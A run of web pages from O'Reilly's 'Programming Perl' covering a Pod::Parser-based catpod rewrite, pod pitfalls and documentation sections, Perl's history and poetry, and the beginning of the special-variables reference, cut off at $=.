What would you do with that? Well, you might want to do perl -wc checks on the code in the document, for one thing. Or maybe you want a flavor of grep(1)[3] that only looks at the code examples:

[3]And if you don't have grep, see previous footnote.

% catpod MyModule.pm | podlit | grep funcname

This tool-and-filter philosophy of interchangeable (and separately testable) parts is a sublimely simple and powerful approach to designing reusable software components. It's a form of laziness to just put together a minimal solution that gets the job done today--for certain kinds of jobs, at least.

For other tasks, though, this can even be counterproductive. Sometimes it's more work to write a tool from scratch, sometimes less. For those we showed you earlier, Perl's native text-processing prowess makes it expedient to use brute force. But not everything works that way. As you play with pod, you might notice that although its directives are simple to parse, its sequences can get a little dicey. Although some, um, subcorrect translators don't accommodate this, sequences can nest within other sequences and can have variable-length delimiters.

Instead of coding up all that parsing code on your own, laziness looks for another solution. The standard Pod::Parser module fits that bill. It's especially useful for complicated tasks, like those that require real parsing of the internal bits of the paragraphs, conversion into alternative output formats, and so on. It's easier to use the module for complicated cases, because the amount of code you end up writing is smaller. It's also better because the tricky parsing is already worked out for you. It's really the same principle as using catpod in a pipeline.

The Pod::Parser module takes an interesting approach to its job. It's an object-oriented module of a different flavor than most you've seen in this book. Its primary goal isn't so much to provide objects for direct manipulation as it is to provide a base class upon which other classes can be built.

You create your own class and inherit from Pod::Parser. Then you declare subroutines to serve as callback methods for your parent class's parser to invoke. It's a very different way of programming than the procedural programs given earlier. In a sense, it's more of a declarative programming style, because to get the job done, you simply register functions and let other entities invoke them for you. The program's tiresome logic is handled elsewhere. You just give some plug-and-play pieces.

Here's a rewrite of the original catpod program given earlier, but this time it uses the Pod::Parser module to create our own subclass:

#!/usr/bin/perl
# catpod2, class and program

package catpod_parser;
use Pod::Parser;
@ISA = qw(Pod::Parser);
sub command {
    my ($parser, $command, $paragraph, $line_num) = @_;
    my $out_fh = $parser->output_handle();
    $paragraph .= "\n" unless substr($paragraph, -1) eq "\n";
    $paragraph .= "\n" unless substr($paragraph, -2) eq "\n\n";
    print $out_fh "=$command $paragraph";
}

sub verbatim {
    my ($parser, $paragraph, $line_num) = @_;
    my $out_fh = $parser->output_handle();
    print $out_fh $paragraph;
}

sub textblock {
    my ($parser, $paragraph, $line_num) = @_;
    my $out_fh = $parser->output_handle();
    print $out_fh $paragraph;
}
sub interior_sequence {
    my ($parser, $seq_command, $seq_argument) = @_;
    return "$seq_command<$seq_argument>";
}

if (!caller) {
    package main;
    my $parser = catpod_parser::->new();
    unshift @ARGV, '-' unless @ARGV;
    for (@ARGV) { $parser->parse_from_file($_); }
}
1;
__END__

=head1 NAME
docs describing the new catpod program here
As you see, it's a good bit longer and more complicated. It's also more extensible because all you have to do is plug in your own methods when you want your subclass to act differently than its base class.

The last bit at the end there, where it says !caller, checks whether the file is being used as a module or as a program. If it's being used as a program, then there is no caller. So it fires up its own parser (using the new method it inherited) and runs that parser on the command-line arguments. If no filenames were supplied, it assumes standard input, just as the previous version did.

Following the module code is an __END__ marker, a blank line without whitespace on it, and then the program/module's own pod documentation. This is an example of one file that's a program and a module and its own documentation. It's probably several other things as well.

Previous | Home | Next
26.2. Pod Translators and Modules | Book Index | 26.4. Pod Pitfalls
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pod Pitfalls (Programming Perl)

 Programming PerlSearch this book

26.4. Pod Pitfalls

Pod is fairly straightforward, but it's still possible to flub a few things:

  • It's really easy to leave out the trailing angle bracket.

  • It's really easy to leave out the trailing =back directive.

  • It's easy to accidentally put a blank line into the middle of a long =for comment directive. Consider using =begin/=end instead.

  • If you mistype one of the tags on a =begin/=end pair, it'll eat the rest of your file (podwise). Consider using =for instead.

  • Pod translators require paragraphs to be separated by completely empty lines; that is, by two or more consecutive newline (\n) characters. If you have a line with spaces or tabs on it, it will not be treated as a blank line. This can cause two or more paragraphs to be treated as one.

  • The meaning of a "link" is not defined by pod, and it's up to each translator to decide what to do with it. (If you're starting to get the idea that most decisions have been deferred to the translators, not pod, you're right.) Translators will often add wording around a L<> link, so that "L<foo(1)>" becomes "the foo(1) manpage", for example. So you shouldn't write things like "the L<foo> manpage" if you want the translated document to read sensibly: that would end up saying "the the foo(1) manpage manpage".

    If you need total control of the text used for a link, use the form L<show this text|foo> instead.

The standard podchecker program checks pod syntax for errors and warnings. For example, it checks for unknown pod sequences and for seemingly blank lines containing whitespace. It is still advisable to pass your document through two or more different pod translators and proofread the results. Some of the problems you find may be idiosyncrasies of the particular translators, which you may or may not wish to work around.

And, as always, Everything is Subject To Change at the Whim of the Random Hacker.

Previous | Home | Next
26.3. Writing Your Own Pod Tools | Book Index | 26.5. Documenting Your Perl Programs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Documenting Your Perl Programs (Programming Perl)

 Book Home Programming PerlSearch this book

26.5. Documenting Your Perl Programs

We hope you document your code, whether or not you're a Random Hacker. If you do, you may wish to include the following sections in your pod:

=head1 NAME

The name of your program or module.

=head1 SYNOPSIS

A one-line description of what your program or module does (purportedly).

=head1 DESCRIPTION

The bulk of your documentation. (Bulk is good in this context.)

=head1 AUTHOR

Who you are. (Or an alias, if you are ashamed of your program.)

=head1 BUGS

What you did wrong (and why it wasn't really your fault).

=head1 SEE ALSO

Where people can find related information (so they can work around your bugs).

=head1 COPYRIGHT

The copyright statement. If you wish to assert an explicit copyright, you should say something like:

Copyright 2013, Randy Waterhouse.  All Rights Reserved.
Many modules also add:
This program is free software.  You may copy or
redistribute it under the same terms as Perl itself.

One caveat: if you're going to put your pod at the end of the file, and you're using an __END__ or __DATA__ token, make sure to put an empty line before the first pod directive:

__END__

=head1 NAME

Modern - I am the very model of a modern major module
Without the empty line before the =head1, the pod translators will ignore the start of your (extensive, accurate, cultured) documentation.

Previous | Home | Next
26.4. Pod Pitfalls | Book Index | 27. Perl Culture
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl Culture (Programming Perl)

 Programming PerlSearch this book

Chapter 27. Perl Culture

Contents:

History Made Practical
Perl Poetry

This book is a part of Perl culture, so we can't hope to put everything we know about Perl culture in here. We can only whet your appetite with a little history, and a little art--some would say "very little art". For a much larger dose of Perl culture, see www.perl.org and www.perl.com. (Larry keeps copies of all his (official) ravings at www.wall.org/~larry.) Or just get acquainted with some other Perl programmers. We can't tell you what sort of people they'll be--about the only personality trait Perl programmers have in common is that they're all pathologically helpful.

27.1. History Made Practical

In order to understand why Perl is defined the way it is (or isn't), one must first understand why Perl even exists. So, let's drag out the old dusty history book....

Way back in 1986, Larry was a systems programmer on a project developing multi-level-secure wide-area networks. He was in charge of an installation consisting of three VAXen and three Suns on the West Coast, connected over an encrypted, 1200-baud serial line to a similar configuration on the East Coast. Since Larry's primary job was support (he wasn't a programmer on the project, just the system guru), he was able to exploit his three virtues (laziness, impatience, and hubris) to develop and enhance all sorts of useful tools--such as rn, patch, and warp.[1]

[1] It was at about this time that Larry latched onto the phrase "feeping creaturism" in a desperate attempt to justify on the basis of biological necessity his overwhelming urge to add "just one more feature". After all, if Life Is Simply Too Complicated, why not programs too? Especially programs like rn that really ought to be treated as advanced Artificial Intelligence projects so that they can read your news for you. Of course, some people say that the patch program is already too smart.

One day, after Larry had just finished ripping rn to shreds, leaving it in pieces on the floor of his directory, the great Manager came to him and said, "Larry, we need a configuration management and control system for all six VAXen and all six Suns. We need it in a month. Go to it!"

So, Larry, never being one to shirk work, asked himself what was the best way to have a bicoastal CM system, without writing it from scratch, that would allow viewing of problem reports on both coasts, with approvals and control. The answer came to him in one word: B-news.[2]

[2]That is, the second implementation of Usenet transport software.

Larry went off and installed news on these machines and added two control commands: an "append" command to append to an existing article, and a "synchronize" command to keep the article numbers the same on both coasts. CM would be done using RCS (Revision Control System), and approvals and submissions would be done using news and rn. Fine so far.

Then the great Manager asked him to produce reports. News was maintained in separate files on a master machine, with lots of cross-references between files. Larry's first thought was "Let's use awk." Unfortunately, the awk of that day couldn't handle opening and closing of multiple files based on information in the files. Larry didn't want to have to code a special-purpose tool. As a result, a new language was born.

This new tool wasn't originally called Perl. Larry bandied about a number of names with his officemates and cohorts (Dan Faigin, who wrote this history, and Mark Biggar, his brother-in-law, who also helped greatly with the initial design). Larry actually considered and rejected every three- or four-letter word in the dictionary. One of the earliest names was "Gloria", after his sweetheart (and wife). He soon decided that this would cause too much domestic confusion.

The name then became "Pearl", which mutated into our present-day "Perl", partly because Larry saw a reference to another language called PEARL, but mostly because he's too lazy to type five letters all the time. And, of course, so that Perl could be used as a four-letter word. (You'll note, however, the vestiges of the former spelling in the acronym's gloss: "Practical Extraction And Report Language".)

This early Perl lacked many of the features of today's Perl. Pattern matching and filehandles were there, scalars were there, and formats were there, but there were very few functions, no associative arrays, and only a crippled implementation of regular expressions, borrowed from rn. The manpage was only 15 pages long. But Perl was faster than sed and awk and began to be used on other applications on the project.

But Larry was needed elsewhere. Another great Manager came over one day and said, "Larry, support R&D." And Larry said, okay. He took Perl with him and discovered that it was turning into a good tool for system administration. He borrowed Henry Spencer's beautiful regular expression package and butchered it into something Henry would prefer not to think about during dinner. Then Larry added most of the goodies he wanted, and a few goodies other people wanted. He released it on the network.[3] The rest, as they say, is history.[4]

[3] More astonishingly, he kept on releasing it as he went to work at Jet Propulsion Lab, then at NetLabs and Seagate. Nowadays, other people do most of the real work, and Larry pretends to work for O'Reilly & Associates (a small company that publishes pamphlets about computers and stuff).

[4] And this, so to speak, is a footnote to history. When Perl was started, rn had just been ripped to pieces in anticipation of a major rewrite. Since he started work on Perl, Larry hasn't touched rn. It is still in pieces. Occasionally, Larry threatens to rewrite rn in Perl, but never seriously.

Which goes something like this: Perl 1.0 was released on December 18, 1987; some people still take Perl's Birthday seriously. Perl 2.0 follows in June 1988, and Randal Schwartz creates the legendary "Just Another Perl Hacker" signature. In 1989, Tom Christiansen presents the first public Perl tutorial at the Baltimore Usenix. With Perl 3.0 in October 1989, the language is released and distributed for the first time under the terms of the GNU Public License.

In March of 1990, Larry writes the first Perl Poem (see the following section). Then he and Randal write the first edition of this book, The Pink Camel; it is published in early 1991. Perl 4.0 is released simultaneously; it includes an Artistic License as well as the GPL.

The unveiling of the much anticipated Perl 5 occurs in October 1994. A complete rewrite of Perl, it includes objects and modules. The advent of Perl 5 even merits coverage by The Economist. In 1995, CPAN is officially introduced to the Perl community. Jon Orwant begins publishing The Perl Journal in 1996. After a long gestation, the second edition of this book, The Blue Camel, appears that fall. The first O'Reilly Perl Conference (TPC) is held in San Jose, California, in the summer of 1997. Notable events are now occurring almost daily, so for the rest of history, check out the Perl Timeline on CPAST, the Comprehensive Perl Arcana Society Tapestry (history.perl.org).

Previous | Home | Next
26.5. Documenting Your Perl Programs | Book Index | 27.2. Perl Poetry
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl Poetry (Programming Perl)

 Programming PerlSearch this book

27.2. Perl Poetry

The forgery in the attendant sidebar appeared on Usenet on April Fool's Day, 1990. It is presented here without comment, merely to show how disgusting the metaphors of a typical programming language really are. So much for anything resembling literary value. Larry is particularly relieved that "Black Perl", originally written for Perl 3, no longer parses under Perl 5.

Larry's, er, corpus has fortunately been overshadowed by that of the reigning Perl Poet, Sharon Hopkins. She has written quite a few Perl poems, as well as a paper on Perl poetry that she presented at the Usenix Winter 1992 Technical Conference, entitled "Camels and Needles: Computer Poetry Meets the Perl Programming Language". (The paper is available as misc/poetry.ps on CPAN.) Besides being the most prolific Perl poet, Sharon is also the most widely published, having had the following poem published in both the Economist and the Guardian:

#!/usr/bin/perl

APPEAL:

listen (please, please);

open yourself, wide;
    join (you, me),
connect (us,together),

tell me.

do something if distressed;

    @dawn, dance;
    @evening, sing;
    read (books,$poems,stories) until peaceful;
    study if able;

    write me if-you-please;

sort your feelings, reset goals, seek (friends, family, anyone);

        do*not*die (like this)
        if sin abounds;

keys (hidden), open (locks, doors), tell secrets;
do not, I-beg-you, close them, yet.

                            accept (yourself, changes),
                            bind (grief, despair);

require truth, goodness if-you-will, each moment;

select (always), length(of-days)

# listen (a perl poem)
# Sharon Hopkins
# rev. June 19, 1995

Perl Poetry

Article 970 of comp.lang.perl:
Path: jpl-devvax!pl-dexxav!lwall
From: lwall@jpl-dexxav.JPL.NASA.GOV (Larry Wall)
Newsgroups: news.groups,rec.arts.poems,comp.lang.perl
Subject: CALL FOR DISCUSSION: comp.lang.perl.poems
Message-ID: <0401@jpl-devvax.JPL.NASA.GOV>
Date: 1 Apr 90 00:00:00 GMT
Reply-To: lwall@jpl-devvax.JPL.NSAS.GOV (Larry Wall)
Organization: Jet Prepulsion Laboratory, Pasadena, CA
Lines: 61

It has come to my attention that there is a crying need for a place for people to express both their emotional
and technical natures simultaneously. Several people have sent me some items which don't fit into any
newsgroup. Perhaps it's because I recently posted to both comp.lang.perl and to rec.arts.poems, but people
seem to be writing poems in Perl, and they're asking me where they should post them. Here is a sampling:

From a graduate student (in finals week), the following haiku:
study, write, study,
do review (each word) if time.
close book. sleep? what's that?
And someone writing from Fort Lauderdale writes:
sleep, close together,
sort of sin each spring & wait;
50% die
A person who wishes to remain anonymous wrote the following example of "Black Perl".  (The Pearl poet
would have been shocked, no doubt.)
BEFOREHAND: close door, each window & exit;  wait until time.
    open spellbook, study, read (scan, select, tell us);
write it, print the hex while each watches,
    reverse its length, write again;
    kill spiders, pop them, chop, split, kill them.
       unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
    kill them, dump qualms, shift moralities,
    values aside, each one;
        die sheep! die to reverse the system
        you accept (reject, respect);
next step,
    kill the next sacrifice, each sacrifice,
    wait, redo ritual until "all the spirits are pleased";
    do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
    exit crypt (time, times & "half a time") & close it,
    select (quickly) & warn your next victim;
AFTERWORDS: tell nobody.
    wait, wait until time;
    wait until next year, next decade;
        sleep, sleep, die yourself,
        die at last
I tried that, and it actually parses in Perl.  It doesn't appear to do anything useful, however.  I think I'm glad,
actually... I hereby propose the creation of comp.lang.perl.poems as a place for such items, so we don't clutter
the perl or poems newsgroups with things that may be of interest to neither.  Or, alternately, we should
create rec.arts.poems.perl for items such as those above which merely parse, and don't do anything useful.
(There is precedent in rec.arts.poems, after all.)  Then also create comp.lang.perl.poems for poems that
actually do something, such as this haiku of my own:
print STDOUT q
Just another Perl hacker,
unless $spring
Larry Wall            lwall@jpl-devvax.jpl.nasa.gov
Previous | Home | Next
27.1. History Made Practical | Book Index | Part 5. Reference Material
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Special Names (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 28. Special Names

Contents:

Special Names Grouped by Type
Special Variables in Alphabetical Order

This chapter is about variables that have special meanings to Perl. Most of the punctuational names have reasonable mnemonics, or analogs in one of the shells (or both). But if you want to use long variable names as synonyms, just say:

use English;
at the top of your program. This aliases all the short names to long names in the current package. Some of these variables even have medium names, generally borrowed from awk. Most people eventually settle on using the short names, at least for the more commonly used variables. Throughout this book, we consistently refer to the short names, but also often mention the long names (in parentheses) so that you can look them up easily in this chapter.

The semantics of these variables can be quite magical. (To create your own magic, see Chapter 14, "Tied Variables".) A few of these variables are read-only. If you try to assign values to them, an exception will be raised.

In what follows, we'll first provide a concise listing of the variables and functions for which Perl assigns a special meaning, grouped by type, so you can look up variables that you're not sure of the proper name. Then we'll explain all of the variables alphabetically under their proper name (or their least improper name).

28.1. Special Names Grouped by Type

We used the word "type" loosely--the sections here actually group variables more by their scope, that is, where they're visible from.

28.1.1. Regular Expression Special Variables

The following special variables related to pattern matching are visible throughout the dynamic scope in which the pattern match occurred (except for $*, which is deprecated). In other words, they behave as though they were declared with local, so you needn't declare them that way yourself. See Chapter 5, "Pattern Matching".

$*
$digits
@+ (@LAST_MATCH_END)
@- (@LAST_MATCH_START)
$+ ($LAST_PAREN_MATCH)
$^R ($LAST_REGEXP_CODE_RESULT)
$& ($MATCH)
$' ($POSTMATCH)
$` ($PREMATCH)

28.1.2. Per-Filehandle Variables

These special variables never need to be mentioned in a local because they always refer to some value pertaining to the currently selected output filehandle--each filehandle keeps its own set of values. When you select another filehandle, the old filehandle remembers the values it had for these variables, and the variables now reflect the values of the new filehandle. See also the FileHandle module in Chapter 32, "Standard Modules".

$| ($AUTOFLUSH, $OUTPUT_AUTOFLUSH)
$- ($FORMAT_LINES_LEFT)
$= ($FORMAT_LINES_PER_PAGE)
$~ ($FORMAT_NAME)
$% ($FORMAT_PAGE_NUMBER)
$^ ($FORMAT_TOP_NAME)

28.1.3. Per-Package Special Variables

These special variables exist separately in each package. There should be no need to localize them, since sort automatically does so on $a and $b, and the rest are probably best left alone (though you will need to declare them with our if you use strict).

$a
$b
@EXPORT
@EXPORT_OK
%EXPORT_TAGS
%FIELDS
@ISA

%OVERLOAD
$VERSION

28.1.4. Program-wide Special Variables

These variables are truly global in the fullest sense--they mean the same thing in every package, because they're all forced into package main when unqualified (except for @F, which is special in main, but not forced). If you want a temporary copy of one of these, you must localize it in the current dynamic scope.

%ENV
%INC
%SIG
%!
%^H

@_
@ARGV
@F
@INC

$_ ($ARG)
$0 ($PROGRAM_NAME)
$ARGV

$! ($ERRNO, $OS_ERROR)
$" ($LIST_SEPARATOR)
$#
$$ ($PID, $PROCESS_ID)
$( ($GID, $REAL_GROUP_ID)
$) ($EGID, $EFFECTIVE_GROUP_ID)
$, ($OFS, $OUTPUT_FIELD_SEPARATOR)
$. ($NR, $INPUT_LINE_NUMBER)
$/ ($RS, $INPUT_RECORD_SEPARATOR)
$: ($FORMAT_LINE_BREAK_CHARACTERS)
$; ($SUBSEP, $SUBSCRIPT_SEPARATOR)

$< ($UID, $REAL_USER_ID)
$> ($EUID, $EFFECTIVE_USER_ID)
$? ($CHILD_ERROR)
$@ ($EVAL_ERROR)
$[
$\ ($ORS, $OUTPUT_RECORD_SEPARATOR)
$]  ($OLD_PERL_VERSION)
$^A ($ACCUMULATOR)
$^C ($COMPILING)
$^D ($DEBUGGING)
$^E ($EXTENDED_OS_ERROR)
$^F ($SYSTEM_FD_MAX)
$^H
$^I ($INPLACE_EDIT)
$^L ($FORMAT_FORMFEED)
$^M
$^O ($OSNAME)
$^P ($PERLDB)
$^R ($LAST_REGEXP_CODE_RESULT)
$^S (EXCEPTIONS_BEING_CAUGHT)
$^T ($BASETIME)
$^V ($PERL_VERSION)
$^W ($WARNING)
${^WARNING_BITS}
${^WIDE_SYSTEM_CALLS}
$^X ($EXECUTABLE_NAME)

28.1.5. Per-Package Special Filehandles

Except for DATA, which is always per-package, the following filehandles are always assumed to be in main when not fully qualified with another package name:

_ (underline)
ARGV
ARGVOUT
DATA
STDIN
STDOUT
STDERR

28.1.6. Per-Package Special Functions

The following subroutine names have a special meaning to Perl. They're always called implicitly because of some event, such as accessing a tied variable or trying to call an undefined function. We don't describe them in this chapter since they all receive heavy-duty coverage elsewhere in the book.

Undefined function call interceptor (see Chapter 10, "Packages"):

AUTOLOAD

Moribund objects' finalization (see Chapter 12, "Objects"):

DESTROY

Exception objects (see die in the next chapter):

PROPAGATE

Auto-init and auto-cleanup functions (see Chapter 18, "Compiling"):

BEGIN, CHECK, INIT, END

Tie methods (see Chapter 14, "Tied Variables"):

BINMODE, CLEAR, CLOSE, DELETE, EOF, EXISTS, EXTEND, FETCH, FETCHSIZE,
FILENO, FIRSTKEY, GETC, NEXTKEY, OPEN, POP, PRINT, PRINTF, PUSH, READ,
READLINE, SEEK, SHIFT, SPLICE, STORE, STORESIZE, TELL, TIEARRAY,
TIEHANDLE, TIEHASH, TIESCALAR, UNSHIFT, WRITE
Previous | Home | Next
Part 5. Reference Material | Book Index | 28.2. Special Variables in Alphabetical Order
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Special Variables in Alphabetical Order (Programming Perl)

 Programming PerlSearch this book

28.2. Special Variables in Alphabetical Order

We've alphabetized these entries according to the long variable name. If you don't know the long name of a variable, you can find it in the previous section. (Variables without alphabetical names are sorted to the front.)

So that we don't have to keep repeating ourselves, each variable description starts with one or more of these annotations:

Annotation | Meaning
XXX | Deprecated, do not use in anything new.
NOT | Not Officially There (internal use only).
ALL | Truly global, shared by all packages.
PKG | Package global; each package can have its own.
FHA | Filehandle attribute; one per I/O object.
DYN | Dynamically scoped automatically (implies ALL).
LEX | Lexically scoped at compile time.
RO | Read only; raises an exception if you modify.

When more than one variable name or symbol is listed, only the short one is available by default. Using the English module makes the longer synonyms available to the current package, and only to the current package, even if the variable is marked [ALL].

Entries of the form method HANDLE EXPR show object-oriented interfaces to the per-filehandle variables provided by the FileHandle and various IO:: modules. (You may also use the HANDLE->method(EXPR) notation if you prefer.) These let you avoid having to call select to change the default output handle before examining or changing that variable. Each such method returns the old value of the FileHandle attribute; a new value is set if the EXPR argument is supplied. If not supplied, most of the methods do nothing to the current value, except for autoflush, which assumes an argument of 1, just to be different.

_ (underline)

[ALL] This is the special filehandle used to cache the information from the last successful stat, lstat, or file test operator (like -w $file or -d $file).

$digits

[DYN,RO] The numbered variables $1, $2, and so on (up just as high as you want)[1] contain the text that is matched by the corresponding set of parentheses in the last matched pattern within the currently active dynamic scope. (Mnemonic: like \digits.)

[1] Although many regular expression engines only support up to nine backreferences, Perl has no such limit, so if you go around writing $768, Perl won't mind, although maintainers of your code might if you actually use that many parentheses in your regular expressions.

$[

[XXX,LEX] The index of the first element in an array and of the first character in a substring. Default is 0, but we used to set it to 1 to make Perl behave more like awk (or FORTRAN) when subscripting and when evaluating the index and substr functions. Because it was found to be so dangerous, assignment to $[ is now treated as a lexically scoped compiler directive and cannot influence the behavior of any other file. (Mnemonic: [ begins subscripts.)

$#

[XXX,ALL] Don't use this; use printf instead. $# contains the output format for printed numbers, in a half-hearted attempt to emulate awk's OFMT variable. (Mnemonic: # is the number sign, but if you're sharp, you'll just forget it so you don't make a hash of your program and get pounded for it.)

$*

[XXX,ALL] Wow, three deprecated variables in a row! This one can (but shouldn't) be set to true to get Perl to assume /m on every pattern match that doesn't have an explicit /s. (Mnemonic: * matches multiple things.)

$a

[PKG] This variable is used by the sort function to hold the first of each pair of values to be compared ($b is the second of each pair). The package for $a is the same one that the sort operator was compiled in, which is not necessarily the same as the one its comparison function was compiled into. This variable is implicitly localized within the sort comparison block. Because it is a global, it is exempt from use strict complaints. Because it is an alias for the actual array value, you might think you can modify it, but you shouldn't. See the sort function.

$ACCUMULATOR
$^A

[ALL] The current value of the write accumulator for format lines. A format contains formline commands that put their result into $^A. After calling its format, write prints out the contents of $^A and empties it. So you never actually see the contents of $^A unless you call formline yourself and then look at it. See the formline function.

$ARG
$_

[ALL] The default input and pattern-search space. These pairs are equivalent:

while (<>) {...}    # equivalent only in unadorned while test
while (defined($_ = <>)) {...}

chomp
chomp($_)

/^Subject:/
$_ =~ /^Subject:/

tr/a-z/A-Z/
$_ =~ tr/a-z/A-Z/
Here are the places where Perl will assume $_ if you don't specify something to operate on:

@ARG
@_

[ALL] Within a subroutine, this array holds the argument list passed to that subroutine. See Chapter 6, "Subroutines". A split in scalar context splits to this array, but this usage is deprecated.

ARGV

[ALL] The special filehandle that iterates over command-line filenames in @ARGV. Usually written as the null filehandle in the angle operator: <>.

$ARGV

[ALL] Contains the name of the current file when reading from the ARGV handle using the <> or readline operators.

@ARGV

[ALL] The array containing the command-line arguments intended for the script. Note that $#ARGV is generally the number of arguments minus one, since $ARGV[0] is the first argument, not the command name; use scalar @ARGV for the number of program arguments. See $0 for the program name.

ARGVOUT

[ALL] The special filehandle is used while processing the ARGV handle under the -i switch or the $^I variable. See the -i switch in Chapter 19, "The Command-Line Interface".

$b

[PKG] The variable, companion to $a, used in sort comparisons. See $a and the sort function for details.

$BASETIME
$^T

[ALL] The time at which the script began running, in seconds since the epoch (the beginning of 1970, for Unix systems). The values returned by the -M, -A, and -C file tests are relative to this moment.

$CHILD_ERROR
$?

[ALL] The status returned by the last pipe close, backtick (``) command, or wait, waitpid, or system functions. Note that this is not just the simple exit code, but the entire 16-bit status word returned by the underlying wait(2) or waitpid(2) syscall (or equivalent). Thus, the exit value of the subprocess is in the high byte, that is, $? >> 8; in the low byte, $? & 127 says which signal (if any) the process died from, while $? & 128 reports whether its demise produced a core dump. (Mnemonic: similar to $? in the sh and its offspring.)

Inside an END block, $? contains the value that is going to be given to exit. You can modify $? in an END to change the exit status of the script.

Under VMS, the pragma use vmsish 'status' makes $? reflect the true VMS exit status, instead of the default emulation of POSIX status.

If the h_errno variable is supported in C, its numeric value is returned via $? if any of the gethost*() functions fail.

$COMPILING
$^C

[ALL] The current value of the internal flag associated with the -c switch, mainly of use with -MO and the perlcc(1) tool to let code alter its behavior when being compiled for code generation. For example, you might want to AUTOLOAD at compile time instead of using the normal, deferred loading so that code can be generated right away. See Chapter 18, "Compiling".

DATA

[PKG] This special filehandle refers to anything following either the __END__ token or the __DATA__ token in the current file. The __END__ token always opens the main::DATA filehandle, and so is used in the main program. The __DATA__ token opens the DATA handle in whichever package is in effect at the time, so different modules can each have their own DATA filehandle, since they (presumably) have different package names.

$DEBUGGING
$^D

[ALL] The current value of the internal debugging flags, set from the -D switch on the command line; see Chapter 19, "The Command-Line Interface" for the bit values. (Mnemonic: value of the -D switch.)

$EFFECTIVE_GROUP_ID
$EGID
$)

[ALL] The effective GID (group ID) of this process. If you are on a machine that supports membership in multiple groups simultaneously, $) gives a space-separated list of groups you are in. The first number is the one returned by getegid(2), and the subsequent ones by getgroups(2), one of which may be the same as the first number.

Similarly, a value assigned to $) must also be a space-separated list of numbers. The first number is used to set the effective GID, and the rest (if any) are passed to the setgroups(2) syscall. To get the effect of an empty list for setgroups, just repeat the new effective GID; for example, to force an effective GID of 5 and an effectively empty setgroups list, say:

$) = "5 5";

(Mnemonic: parentheses are used to group things. The effective GID is the group that's right for you, if you're running setgid.) Note: $<, $>, $(, and $) can only be set on machines that support the corresponding system set-id routine. $( and $) can be swapped only on machines supporting setregid(2).

$EFFECTIVE_USER_ID
$EUID
$>

[ALL] The effective UID of this process as returned by the geteuid(2) syscall. Example:

$< = $>;            # set real to effective uid
($<,$>) = ($>,$<);  # swap real and effective uid
(Mnemonic: it's the UID you went to, if you're running setuid.) Note: $< and $> can only be swapped on machines supporting setreuid(2). And sometimes not even then.

%ENV

[ALL] The hash containing your current environment variables. Setting a value in %ENV changes the environment for both your process and child processes launched after the assignment. (It cannot change a parent process's environment on any system resembling Unix.)

$ENV{PATH}  = "/bin:/usr/bin";
$ENV{PAGER} = "less";
$ENV{LESS}  = "MQeicsnf";  # our favorite switches to less(1)
system "man perl";         # picks up new settings
To remove something from your environment, make sure to use the delete function instead of undef on the hash value.

Note that processes running as crontab(5) entries inherit a particularly impoverished set of environment variables. (If your program runs fine from the command line but not under cron, this is probably why.) Also note that you should set $ENV{PATH}, $ENV{SHELL}, $ENV{BASH_ENV}, and $ENV{IFS} if you are running as a setuid script. See Chapter 23, "Security".

$EVAL_ERROR
$@

[ALL] The currently raised exception or the Perl syntax error message from the last eval operation. (Mnemonic: where was the syntax error "at"?) Unlike $! ($OS_ERROR), which is set on failure but not cleared on success, $@ is guaranteed to be set (to a true value) if the last eval had a compilation error or run-time exception, and guaranteed to be cleared (to a false value) if no such problem occurred.

Warning messages are not collected in this variable. You can, however, set up a routine to process warnings by setting $SIG{__WARN__} as described later in this section.

Note that the value of $@ may be an exception object rather than a string. If so, you can still probably treat it as a string if the exception object has stringification overloading defined for its class. If you propagate an exception by saying:

die if $@;
then an exception object will call $@->PROPAGATE to see what to do. (A string exception merely adds a "propagated at" line to the string.)

$EXCEPTIONS_BEING_CAUGHT
$^S

[ALL] This variable reflects the current state of the interpreter, returning true if inside an eval, false otherwise. It's undefined if parsing of the current compilation unit hasn't finished yet, which may be the case in $SIG{__DIE__} and $SIG{__WARN__} handlers. (Mnemonic: state of eval.)

$EXECUTABLE_NAME
$^X

[ALL] The name that the perl binary itself was executed as, from C's argv[0].

@EXPORT

[PKG] This array variable is consulted by the Exporter module's import method to find the list of other package variables and subroutines to be exported by default when the module is used, or when the :DEFAULT import tag is used. It is not exempt from use strict complaints, so it must be declared with our or fully qualified by package name if you've enabled that pragma. However, all variables whose names begin with the string "EXPORT" are exempt from warnings about being used only once. See Chapter 11, "Modules".

@EXPORT_OK

[PKG] This array variable is consulted by the Exporter module's import method to determine whether a requested import is legal. It is not exempt from use strict. See Chapter 11, "Modules".

%EXPORT_TAGS

[PKG] This hash variable is consulted by the Exporter module's import method when an import symbol with a leading colon is requested, as in use POSIX ":sys_wait_h". The keys are the colon tags, but without the loading colon. The values should be references to arrays containing symbols to import when the colon tag is requested, all of which must also appear in either @EXPORT or @EXPORT_OK. It is not exempt from use strict. See Chapter 11, "Modules".

$EXTENDED_OS_ERROR
$^E

[ALL] Error information specific to the current operating system. Under Unix, $^E is identical to $! ($OS_ERROR), but it differs under OS/2, VMS, and Microsoft systems, and on MacPerl. See your port's information for specifics. Caveats mentioned in the description of $! generally apply to $^E as well. (Mnemonic: extra error explanation.)

@F

[PKG] The array into which the input line's fields are split when the -a command-line switch is given. If the -a option is not used, this array has no special meaning. (This array is actually only @main::F, and not in all packages at once.)

%FIELDS

[NOT,PKG] This hash is for internal use by the use fields pragma to determine the current legal fields in an object hash. See use fields, use base, and "Field Declarations with use fields" in Chapter 12, "Objects".

format_formfeed HANDLE EXPR
$FORMAT_FORMFEED
$^L

[ALL] What a write function implicitly outputs to perform a form feed before it emits a top of form header. Default is "\f".

format_lines_left HANDLE EXPR
$FORMAT_LINES_LEFT
$-

[FHA] The number of lines left on the page of the currently selected output handle, for use with the format declaration and the write function. (Mnemonic: lines_on_page - lines_printed.)

format_lines_per_page HANDLE EXPR
$FORMAT_LINES_PER_PAGE
$=

